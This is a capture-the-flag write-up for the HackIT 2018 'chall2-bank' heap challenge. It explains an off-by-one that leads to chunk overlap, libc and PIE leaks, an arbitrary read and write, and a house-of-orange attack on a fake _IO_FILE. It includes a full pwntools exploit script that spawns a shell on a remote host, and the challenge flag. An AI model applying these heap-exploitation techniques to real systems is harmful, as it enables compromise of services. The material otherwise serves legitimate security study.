**Description**
> We learnt from our past mistakes. We now have cameras looking at `__malloc_hook` 24x7.> > `nc 185.168.131.144 6000`
**Files provided**
 - [chall2-bank](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-08-HackIT-CTF/files/chall2-bank) - [libc-2.24.so](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-08-HackIT-CTF/files/libc-2.24.so)
**Solution** (by [Mem2019](https://github.com/Mem2019))
The problem is here. When creating the back account, there is a off-by-one.
```cread(0, v3->title, 0x11uLL);           // off by one```
The insight is to change the size of unsorted bin and then create an overlap. However, only fastbin size is allowed, so we  must use this off-by-one to increase the size of a currently using fastbin chunk into a unsorted bin chunk, so when we free it it will be putted into unsorted bin. To create such situation, we need to manipulate the fastbin chunks first.
After creating such overlapped unsorted bin, we can leak program address and libc address. Care has to be taken about the check for the `flag` field in the struct, which should point to `0x60C0C748`. (e.i. do not change it)
Then we need to control the `rip`, but since the in `edit statement` function, `fgets` instead of `fread` is used, so there must be a null termination, so we can't rewrite return address in stack (we can only write 5 non-zero bytes but all addresses are 6 bytes).
```cif ( v1 >= 0 && v1 <= 19 && accounts[v1] ){  n = strlen(accounts[v1]->statement);  fgets(accounts[v1]->statement, n, stdin);}```
Thus, I used house of orange attack, which can be acheived by setting the `title_size` field to a big number by using overlap. But to make it simple, set `global_max_fast` to zero first.
exp:
```pythonfrom pwn import *
g_local=Truecontext.log_level='debug'
if g_local:	e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")	sh = process('./chall2-bank')#env={'LD_PRELOAD':'./libc.so.6'}	UNSORTED_OFF = 0x3c4b78	GLOBAL_MAX_FAST = 0x3C67F8	IO_STR_FINISH = 0x3c37b0	gdb.attach(sh)else:	sh = remote("185.168.131.144", 6000)	e = ELF("./libc-2.24.so")	UNSORTED_OFF = 0x397b58	GLOBAL_MAX_FAST = 0x3997D0	IO_STR_FINISH = 0x394510
def slp():	if g_local:		sleep(0.1)	else:		sleep(1)
def create(title, size, statement):	sh.send("1\n")	sh.recvuntil("Enter title of bank account: ")	sh.send(title)	sh.recvuntil("Enter size of your bank statement: ")	sh.send(str(size) + "\n")	slp()	sh.send(statement + "\n")	sh.recvuntil("Account has been created at index ")	ret = int(sh.recvuntil("\n"))	sh.recvuntil("5. View your bank status\n")	return ret
def edit_title(idx, title):	sh.send("2\n")	sh.recvuntil("Enter index of bank account: ")	sh.send(str(idx) + "\n")	slp()	sh.send(title)	sh.recvuntil("5. View your bank status\n")
def edit_statement(idx, statement):	sh.send("3\n")	sh.recvuntil("Enter index of bank account: ")	sh.send(str(idx) + "\n")	slp()	sh.send(statement + "\n")	sh.recvuntil("5. View your bank status\n")
def delete(idx):	sh.send("4\n")	sh.recvuntil("Enter index of bank account: ")	sh.send(str(idx) + "\n")	sh.recvuntil("5. View your bank status\n")
def view(idx):	sh.send("5\n")	sh.recvuntil("Enter index of bank account: ")	sh.send(str(idx) + "\n")	sh.recvuntil("Title: ")	title = sh.recvuntil("\n")	sh.recvuntil("Statement: ")	statement = sh.recvuntil("\n")	sh.recvuntil("5. View your bank status\n")	return (title[:len(title)-1],statement[:len(statement)-1])
tmp1 = create("1", 0x20, "1")tmp2 = create("2", 0x20, "2")delete(tmp1)delete(tmp2)#now 4 0x30 fastbin, ordered by 6903
fst4_0x30 = [0] * 4for i in map(lambda x:x/3,[6,9,0,3]):	fst4_0x30[i] = create(str(i), 0x50, str(i))#consume the 0x30 chunks, put them in an array,#idx correspond to memory position
#want allocation order 31 02delete(fst4_0x30[2])delete(fst4_0x30[0])delete(fst4_0x30[1])delete(fst4_0x30[3])
gen_unsorted = create("3", 0x20, "1")create("0" * 0x10 + chr((0x90 + 0x60) | 1), 0x20, "2")
for i in xrange(0,3):	create("leak", 0x50, "consume 0x60 chunks")	#take all 0x50, 0x30 will be allocated from top chunk
toleak = create("leak", 0x50, "to become leak here")
delete(gen_unsorted)#unsorted bin contains 1 2 3 0x60, and one 0x30 fastbin
arb_rw = create("leak", 0x10, "A") #0x30, 1struct_overlap = create("leak", 0x30, "A") #2, jmp out 3libc_addr = u64(view(toleak)[1] + "\x00\x00") - UNSORTED_OFFcreate("leak", 0x20, "empty bins, leak pie")flag_addr = u64(view(toleak)[1] + "\x00\x00") # - 0x202010print hex(libc_addr)print hex(flag_addr)#now bins empty
# edit_statement(struct_overlap, "H" * 0x10 + p64(flag_addr) + p64(0x10) + p64(libc_addr+e.symbols["__free_hook"]))# edit_statement(arb_rw, p64(libc_addr + e.symbols["system"]))
delete(struct_overlap)create("arb read", 0x30, "H" * 0x10 + p64(flag_addr) + p64(0x10) + p64(libc_addr+e.symbols["environ"]))stack_addr = u64(view(arb_rw)[1] + "\x00\x00")print hex(stack_addr)
delete(struct_overlap)create("arb write", 0x30, "H" * 0x10 + p64(flag_addr) + p64(0xdeadbeef) + p64(libc_addr + GLOBAL_MAX_FAST)) #to testedit_statement(arb_rw, "1") #1 will let scanf return 1#change max_global_fast to 0
#house of orange(by rewriting title size)sh.recvuntil("Enter title of bank account: ")sh.send("orange")sh.recvuntil("Enter size of your bank statement: ")sh.send(str(0x20) + "\n")slp()sh.send("house of orange" + "\n")sh.recvuntil("Account has been created at index ")of_chunk = int(sh.recvuntil("\n"))sh.recvuntil("5. View your bank status\n")hso_chunk = create("hso", 0x50, "house of orange")create("pad", 0x10, "pad")delete(of_chunk)
create("0" * 0x10 + chr(0xC0 | 1), 0x50, 'A' * 0x20 + p64(0) + p64(0x31) + p64(flag_addr) + chr(0))
fake_file = p64(0)fake_file += p64(0x61)fake_file += p64(1)fake_file += p64(libc_addr + e.symbols["_IO_list_all"] - 0x10)fake_file += p64(2) + p64(3)fake_file += "\x00" * 8fake_file += p64(libc_addr + next(e.search('/bin/sh\x00'))) #/bin/sh addrfake_file += ((0xc0-0x40) / 8) * p64(flag_addr)fake_file += p32(0) #modefake_file += (0xd8-0xc4) * "\x00"fake_file += p64(libc_addr + IO_STR_FINISH - 0x18) #vtable_addrfake_file += (0xe8-0xe0) * "\x00"fake_file += p64(libc_addr + e.symbols["system"])
edit_title(hso_chunk, 'A' * 8 + fake_file)
sh.send("1\n")
sh.interactive()```
However, the flag is `flag{Gu4rd_at_MALLOC_HOOK_bu1_n0t_4t_FREE_HOOK??}`, but I didn't use free hook at all, how can this pass the check of flag?